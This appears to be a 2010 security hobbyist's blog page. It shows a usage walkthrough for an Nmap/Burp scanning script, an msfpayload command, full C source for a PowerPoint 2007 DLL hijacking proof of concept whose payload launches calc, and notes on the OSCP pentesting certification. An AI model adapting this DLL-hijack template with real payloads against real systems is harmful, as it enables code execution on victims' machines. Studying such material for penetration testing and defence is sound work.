http://bazaar.launchpad.net/~miked1981/monstream00/monStream00/files/head:/bubyscripts/

How to run:
./runnmapburp.sh
Would you like to use Nmap/Burp?
1: No
2: Yes
2
What is the network range?
10.0.0.1/24
running nmap on scope…….
Loading: “attack_test.rb”

This will do a Nmap scan then spider the results of that scan while adding them to scope.

Have fun!!!!!!!!!!!

http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html

msfpayload windows/exec CMD=calc.exe D > pp4x322.dll
or
/*

Exploit Title: Microsoft Windows Power Point 2007 DLL Hijacking Exploit (pp4x322.dll)
Date: August 25, 2010
Author: monstream00 (monstream00 [at} hotmail.com)
Modified storm's exploit for pp4x322.dll and used Rapid7 write up to find. Happy hunting.
Rapid7 write up: http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html
Tested on: Windows 7 64bit, XP SP3 with MS Office PowerPoint 2007 SP2 MSO 12.0.6535.5002

http://monstream00.wordpress.com/

gcc -shared -o pp4x322.dll powerpoint2007-DLL.c



.pps file affected.

*/

#include windows.h

int hax()
{
WinExec("calc", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
hax();
return 0;
}

Also see corelan for a unofficial list of DLL Hijacking Exploits.
http://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/

OSCP Certification

The Offensive Security Certified Professional (OSCP) is a unique and industry leading IT Security Certification that tests real world skills in the penetration testing field. No multiple choice questions, no theoretical fluff – The student will be expected to dive into an unknown network, craft custom tailored exploits, find security flaws, and exploit weaknesses within the architecture in order to pass the certification process. Students who successfully complete the Offensive Security PWB Penetration Testing Training certification challenge receive the OSCP certification. Penetration Testing with BackTrack simulates a full penetration test from start to finish by injecting the student into a rich, diverse and vulnerable network environment. Pre-Requisites

Pentesting with BackTrack is an entry-level course but still requires students to have certain knowledge prior to attending the class. A solid understanding of TCP/IP, networking, and reasonable Linux skills are required. This course is not for the faint of heart, it requires practice, testing, and the ability to want to learn in a manner that will grow your career in the information security field and defeat learning plateau’s. Offensive Security challenges you to rise above the rest, dive into the fine arts of advanced penetration testing, and “Try Harder”.

http://www.offensive-security.com/online-information-security-training/penetration-testing-backtrack/

I passed my OSCP exam!

“Qubes is an open source operating system designed to provide strong security for desktop computing. Qubes is based on Xen, X Window System, and Linux, and can run most Linux applications and utilize most of the Linux drivers. In the future it might also run Windows apps.